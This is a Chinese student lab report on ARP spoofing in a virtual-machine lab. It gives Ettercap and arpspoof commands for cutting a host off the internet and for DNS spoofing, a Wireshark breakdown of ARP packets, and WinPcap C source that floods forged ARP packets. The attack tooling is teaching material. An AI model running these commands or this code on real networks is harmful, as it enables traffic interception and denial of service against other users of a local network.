ARP欺骗实验

实验内容

  1. 运行Ettercap,扫描在线主机,对目标主机进行禁止上网DNS欺骗攻击,查看目标主机状态。
  2. 通过WireShark抓包工具,捕获ARP欺骗攻击的数据包,分析ARP攻击的原理。
  3. 基于Winpcap编写程序,对指定的目标IP地址进行ARP欺骗攻击

实验过程

“禁止上网”攻击

Kali攻击机利用arp欺骗后不进行IP转发对靶机CentOS进行“禁止上网”攻击

  1. 打开两台虚拟机,利用命令ifconfig查看Kali的网络接口、ip等信息:Kali网络接口为eth0,IP地址为192.168.88.130

    1565661105370

  2. 利用命令ifconfig和route查看CentOS的IP地址和网关:CentOS的IP地址为192.168.88.131,网关为192.168.88.2

    1565661361464

    1565661161089

  3. 攻击机利用Ettercap嗅探目标主机的IP地址和网关,网络接口选择eth0:嗅探到目标主机IP地址为192.168.88.131,网关为192.168.88.2,符合。

    1565661280293

    1565661290669

  4. 利用命令行echo 0 > /proc/sys/net/ipv4/ip_forward关闭Kali的IP转发,利用命令行arpspoof [-i interface] [-c own|host|both] [-t target] [-r] hostarpspoof -i eth0
    -c host -t 192.168.88.131 -r 192.168.88.2得到靶机发送的消息。

    1565661495435

  5. 使用CentOS ping 百度网址www.baidu.com发现无法连接百度,不能上网。

    1565666177653

  6. 利用Ctrl+C使Kali退出arp欺骗。

    1565661553673

  7. 使用CentOS ping 百度网址www.baidu.com发现没有丢包,可以上网。

    1565661576848

“DNS欺骗”攻击

  1. 利用命令/etc/init.d/apache2 start打开kali自带的Apache服务。

    1565661632148

    1565661652172

  2. etter.dns文件进行修改如下:

    1565661688492

  3. Kali利用Ettercap进行Unified sniffing嗅探网络接口选择eth0,并在Hosts下选择Scan for hosts,然后选择Hosts list列出主机。

    1565661743998

  4. Mitm中选择Arp Poisoning,勾选Sniff remote connections开启嗅探。

    1565661839379

  5. Plugins下打开Manage the plugins,将dns_spoof插件双击选中。

    1565661873307

  6. 选择CentOS的IP点击Add to Target1,接着选择CentOS的网关点击Add to Target2,然后点击Start sniffing,DNS欺骗完成。

    1565661925221

  7. 使用CentOS ping百度地址www.baidu.com,发现ping到的IP地址为192.168.88.130,即Kali的IP地址,使用浏览器输入淘宝域名www.taobao.com,进入到Kali的localhost页面,表明DNS欺骗攻击成功。

    1565661978661

    1565661988808

  8. 由于在修改etter.dns文件时只修改了*.com/.rog/.net,因此只能欺骗.com/.org/.net的域名,如可以正常访问www.leeyuxun.tk

    1565662157154

分析ARP攻击原理

在Kali通过Ettercap嗅探CentOS的同时,通过WireShark抓包工具,捕获ARP欺骗攻击的数据包,分析ARP攻击的原理。

  1. 利用命令行echo 1 > /proc/sys/net/ipv4/ip_forward开启Kali的IP转发, 利用命令行arpspoof [-i interface] [-c own|host|both] [-t target] [-r] hostarpspoof -i eth0 -c host -t 192.168.88.131 -r 192.168.88.2作为靶机消息转发的中间人。

    1565662324778

  2. 利用WireShark抓包工具抓取ARP包。

    1565662344454

  3. 双击打开其中一条ARP报文,根据ARP报文格式分析如下。

    1565662364992

    1565662370836

  4. ARP报文是由14位的以太网首部和28位的ARP请求/应答构成:

    • 以太网首部如下
      • 目标以太网地址(6字节): 00:50:56:ef:ad:4f
      • 源以太网地址(6字节): 00:0c:29:10:f5:75
      • 帧类型(2字节): 0x0806,表示ARP协议帧
    • ARP请求/应答如下
      • 硬件类型(4字节): Ethernet(1) / (0x0001), 表示以太网
      • 协议类型(4字节): IPv4 / (0x0080), 表示上层协议是IPv4协议
      • 硬件地址长度(1字节): 6 / (0x06), 表示硬件(MAC)地址长度为6字节
      • 协议地址长度(1字节): 4 / (0x04), 表示协议地址长度为4字节,即IPv4协议
      • 操作码: reply(2) / (0x0002), 1表示ARP请求, 2表示ARP应答, 3表示RARP请求,4表示RARP应答
      • 源硬件地址(6字节): 00:0c:29:10:f5:75, 表示发送方MAC地址
      • 源IP地址(4字节): 192.168.88.131 / (0xc0a85883), 表示发送方IP地址
      • 目的硬件地址(6字节): 00:50:56:ef:ad:4f, 表示接收方MAC地址
      • 目的IP地址(4字节): 192.168.88.2 / (0xc0a85802), 表示接收方IP地址
  5. ARP攻击原理

    1. 电脑A发送ARP请求,请求IP地址为192.168.88.131的电脑B的MAC地址;
    2. 攻击者截获该请求并向电脑A发送一个伪造的ARP响应,告诉电脑A:IP地址为192.168.88.130的电脑B的MAC地址是00:0c:29:01:f5:75 (攻击者的MAC地址);
    3. 电脑A将这个对应关系写入自己的ARP缓存表中,以后发送数据时,将本应该发往电脑B的数据发送给了攻击者;
    4. 同样的,攻击者向电脑B也发送一个伪造的ARP响应,告诉电脑B:电脑A的IP地址192.168.88.130对应的MAC地址是00:0c:29:01:f5:75,电脑B也会将数据发送给攻击者。

Winpacp实现ARP欺骗

基于Winpcap编写程序,对指定的目标IP地址进行ARP欺骗攻击。

设计思路

1565663142897

1565663099808搭建编程环境

  1. 下载安装WinPcap运行库,下载解压WinPcap开发包

  2. 打开vs2017,新建windows控制台应用程序

    1565663229669

  3. 打开项目属性->配置属性->c/c++->预处理器->预处理器定义,在其中添加WPCAPHAVE_REMOTE两个宏定义。

    1565663291347

  4. 打开项目属性->配置属性->链接器->输入->附加依赖项添加wpcap.libws2_32.lib两个库。

    1565663338989

  5. 打开项目属性->配置属性->VC++目录->包含目录和同级的库目录分别添加之前下载解压的WinPcap开发包Include目录Lib目录路径。

    1565663408382

    1565663414285

  6. 调用相关的WinPcap库进行代码编写,设置Kali为靶机,查找攻击机,靶机和攻击机的IP地址、MAC地址(伪造地址是执行程序时输入的)。

    1
    2
    3
    4
    5
    6
    7
    8
    /* 确定IP地址和MAC地址 */
    CONST UCHAR dst_mac[6] = { 0x00, 0x0C, 0x29, 0x01, 0xF5, 0x75 }; //被攻击方的MAC
    CONST UCHAR gateway_mac[6] = { 0x00, 0x50, 0x56, 0xEF, 0xAD, 0x4F }; //网关的MAC
    CONST UCHAR src_mac[6] = { 0xDE, 0x1A, 0x1A, 0xF3, 0x88, 0x83 }; //攻击者的MAC
    CONST CHAR dst_ip[] = "192.168.88.130"; //被攻击方IP
    CONST CHAR gateway_ip[] = "192.168.88.2"; //网关IP
    CHAR forged_mac[6] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //伪造MAC
    CHAR forged_ip[] = "0.0.0.0"; //伪造IP

数据结构

  1. 构造ARP数据包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    /* 构造ARP包 */
    #pragma pack(1) //结构体字节长度是一的倍数,不可省略
    typedef struct __arp_packet {
    UCHAR ether_dhost[6]; //目标以太网地址
    UCHAR ether_shost[6]; //源以太网地址
    USHORT ether_type; //以太网类型
    USHORT hardware_type; //硬件类型
    USHORT protocol_type; //协议类型
    USHORT hardware_protocol_len; //硬件地址和协议地址长度第一个字节时硬件地址长度,第二个字节时协议地址长度
    USHORT opcode; //操作码
    UCHAR src_hrd_addr[6]; //源硬件地址
    ULONG src_ip; //源IP地址
    UCHAR dst_hrd_addr[6]; //目标硬件地址
    ULONG dst_ip; //目标IP地址
    } ARP_PKT;
  2. 获得本地计算机上所有的网络设备表

    1
    2
    /*获得本地计算机上所有的网络设备表*/
    pcap_findalldevs(&alldevs, errbuf)
  3. 打开网卡

    1
    2
    3
    /* 打开网卡 */
    pcap_open(d->name,65536,PCAP_OPENFLAG_PROMISCUOUS,1000,NULL,errbuf))

  4. 释放设备列表

    1
    2
    /* 释放设备列表 */
    pcap_freealldevs(alldevs)
  5. 发送ARP数据包

    1
    2
    /* 发送ARP包 */
    pcap_sendpacket(handle, (unsigned char *)&pkt, sizeof(ARP_PKT))

实验结果

ARP欺骗

  1. 打开靶机,利用命令行arp -n查看ARP缓存

    1565664387481

  2. 打开程序,进行ARP欺骗(伪造的MAC地址为1A-1A-1A-1A-1A-1A,伪造的IP地址为88.88.88.88,发送ARP包1000个,发送间隔100ms)。

    1565664404355

  3. 攻击结束后再次利用命令行arp -n查看ARP缓存,发现多了一条缓存,IP地址为88.88.88.88,MAC地址为1A-1A-1A-1A-1A-1A, 与伪造的相同,攻击成功。

    1565664411960

禁止上网

  1. 用靶机打开www.taobao.com,并ping百度域www.baidu.com,可正常上网。

    1565664449611

    1565664459530

  2. 打开程序,进行禁止上网攻击(伪造MAC地址为90-90-90-90-90-90,发送ARP包1000个,发送间隔100ms)

    1565664524204

  3. 在攻击过程中打开www.taobao.com,并ping百度域www.baidu.com,无法上网。

    1565664536161

    1565664544848

  4. 在攻击过程中使用wareshark抓包。

    1565664561633

  5. 分析ARP包结构,发现源MAC地址是伪造的MAC地址,ARP包没有错误。

    1565664628262

IP冲突攻击

  1. 用靶机打开www.baidu.com,并ping百度域名www.baidu.com,
    可正常上网。

    1565664726685

    1565664731112

  2. 打开程序,进行禁止上网攻击(发送ARP包1000个,发送间隔100ms) 。

    1565664745324

  3. 在攻击过程中打开www.baidu.com,并ping百度域名www.baidu.com,
    无法上网。

    1565664753049

    1565664758887

  4. 在攻击过程中使用wareshark抓包, 分析ARP包结构,靶机的IP地址对应的是攻击机的MAC地址,由于无法查看网关上的ARP列表,根据接收的ARP包的信息和无法上网可以判断网关ARP列表上会出现靶机IP地址对应两个MAC地址的现象,一个靶机的MAC地址,一个攻击机的MAC地址,即实现了IP冲突攻击。

    1565664793294

    1565664799061

实验总结

​ ARP欺骗的原理是由于局域网的网络传输并不是通过IP而是通过mac地址,因此模拟出一个不存的mac地址进行收发数据,这样会导致不能正常的进行网络通信。本实验是基于WinPcaP的,实验过程熟悉了WinPcaP的安装配置方法。ARP攻击其实会导致很严重的后果,那么如何防范ARP攻击,这就是需要思考的问题,目前了解的方法有清空ARP缓存和指定ARP对应关系。

实验核心代码

点击下载程序源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
/* 选择网卡接口 */
if (select_adapters(&handle) == -1)
{
return -1;
}

/* 选择攻击方式 */
start_attacking:
switch (select_attackmethod())
{
case 1: goto location_1; break;
case 2: goto location_2; break;
case 3: goto location_3; break;
case 4: return 1; break;
default: return -1; break;
}

pcap_if_t *alldevs; //获取到的网络设备列表
pcap_if_t *d; //指向的一个网络设备
int i = 0;
int num = 0;
/* 检索设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)//pcap_findalldevs获得本地计算机上所有的网络设备列表
{
fprintf(stderr, "检索设备列表错误: %s\n", errbuf);
return -1;
}
/* 打印设备列表 */
printf("所有网络设备如下:\n");
for (d = alldevs; d; d = d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (没有合适的描述)\n");
}
if (i == 0)
{
printf("\n没有发现设备!\n");
return -1;
}
printf("请输入设备编号 (1-%d): ", i);
do {
scanf("%d", &num);
if (num < 1 || num > i)
printf("接口编号不在列表范围内,请重新输入 (1-%d):", i);
} while (num < 1 || num > i);
/* 跳转到已选设备 */
for (d = alldevs, i = 0; i < num - 1; d = d->next, i++);
/* 打开网卡 */
if ((*handle = pcap_open(d->name, // 设备名
65536, // 要捕获的数据包的哪一部分,65536保证能捕获到不同数据链路层上的每个数据包上的全部内容
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
1000, // 读取超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲
)) == NULL)
{
fprintf(stderr, "\n无法打开网卡. %s 不支持WinPcap!\n");
pcap_freealldevs(alldevs); //释放设备列表
return -1;
}

/* 填充ARP包 */
ARP_PKT pkt; //ARP包
memcpy(pkt.ether_dhost, dst_mac, 6);
memcpy(pkt.ether_shost, forged_mac, 6);
pkt.ether_type = ::htons(0x0806);
pkt.hardware_type = htons(0x0001);
pkt.protocol_type = htons(0x0800);
pkt.hardware_protocol_len = htons(0x0604);
pkt.opcode = htons(0x0001);
memcpy(pkt.src_hrd_addr, forged_mac, 6);
pkt.src_ip = inet_addr(forged_ip);
memcpy(pkt.dst_hrd_addr, dst_mac, 6);
pkt.dst_ip = inet_addr(dst_ip);

/* 发送ARP包 */
while (send_num > 0)
{
if (pcap_sendpacket(handle, (unsigned char *)&pkt, sizeof(ARP_PKT)) != 0)
{
fprintf(stderr, "ARP包发送错误: \n", pcap_geterr(handle));
return -1;
}
Sleep(interval); //设定间隔时间
send_num--;
}